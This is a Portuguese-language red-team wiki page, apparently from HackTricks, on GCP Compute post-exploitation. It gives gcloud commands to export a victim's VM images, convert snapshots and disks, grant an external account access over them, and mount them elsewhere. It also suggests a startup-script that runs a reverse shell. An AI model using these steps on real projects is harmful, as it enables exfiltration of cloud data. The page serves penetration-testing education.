GCP - Compute Post Exploitation

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Computação

Para mais informações sobre Computação e VPC (Rede) verifique:

pageGCP - Compute Enum

Exportar e Inspeccionar Imagens localmente

Isso permitiria a um atacante acessar os dados contidos em imagens já existentes ou criar novas imagens de VMs em execução e acessar seus dados sem ter acesso à VM em execução.

É possível exportar uma imagem de VM para um bucket e depois baixá-la e montá-la localmente com o comando:

gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally

Antes de realizar esta ação, o atacante pode precisar de privilégios sobre o bucket de armazenamento e com certeza privilégios sobre o cloudbuild pois é o serviço que será solicitado para realizar a exportação. Além disso, para que isso funcione, o SA do cloudbuild <project-id>@cloudbuild.gserviceaccount.com precisa de permissões privilegiadas:

  • roles/iam.serviceAccountTokenCreator

  • roles/compute.admin

  • roles/iam.serviceAccountUser

E o SA <project-id>-compute@developer.gserviceaccount.com precisa de:

  • roles/compute.storageAdmin

  • roles/storage.objectAdmin

Exportar e Inspeccionar Snapshots e Discos localmente

Não é possível exportar diretamente snapshots e discos, mas é possível transformar um snapshot em um disco, um disco em uma imagem e seguindo a seção anterior, exportar essa imagem para inspecioná-la localmente

# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]

# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]

Inspectar uma Imagem criando uma VM

Com o objetivo de acessar os dados armazenados em uma imagem ou dentro de uma VM em execução de onde um atacante criou uma imagem, é possível conceder acesso a uma conta externa sobre a imagem:

gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'

e depois criar uma nova VM a partir dele:

gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]

Se você não puder dar acesso à sua conta externa sobre a imagem, você poderia lançar uma VM usando essa imagem no projeto da vítima e fazer com que os metadados executem um shell reverso para acessar a imagem adicionando o parâmetro:

--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'

Inspecionar um Snapshot/Disk anexando-o a uma VM

Com o objetivo de acessar os dados armazenados em um disco ou snapshot, você pode transformar o snapshot em um disco, um disco em uma imagem e seguir os passos anteriores.

Ou você pode conceder acesso a uma conta externa sobre o disco (se o ponto de partida for um snapshot, conceda acesso sobre o snapshot ou crie um disco a partir dele):

gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'

Anexar o disco a uma instância:

gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]

Monte o disco dentro da VM:

  1. Acesse a VM via SSH:

gcloud compute ssh [NOME_DA_INSTÂNCIA] --zone [ZONA]
  1. Identifique o Disco: Uma vez dentro da VM, identifique o novo disco listando os dispositivos de disco. Normalmente, você pode encontrá-lo como /dev/sdb, /dev/sdc, etc.

  2. Formate e Monte o Disco (se for um disco novo ou não formatado):

  • Crie um ponto de montagem:

sudo mkdir -p /mnt/disks/[DIRETÓRIO_DE_MONTAGEM]
  • Monte o disco:

sudo mount -o discard,defaults /dev/[DISPOSITIVO_DE_DISCO] /mnt/disks/[DIRETÓRIO_DE_MONTAGEM]

Se você não pode dar acesso a um projeto externo para o snapshot ou disco, talvez precise realizar essas ações dentro de uma instância no mesmo projeto do snapshot/disco.

Última actualización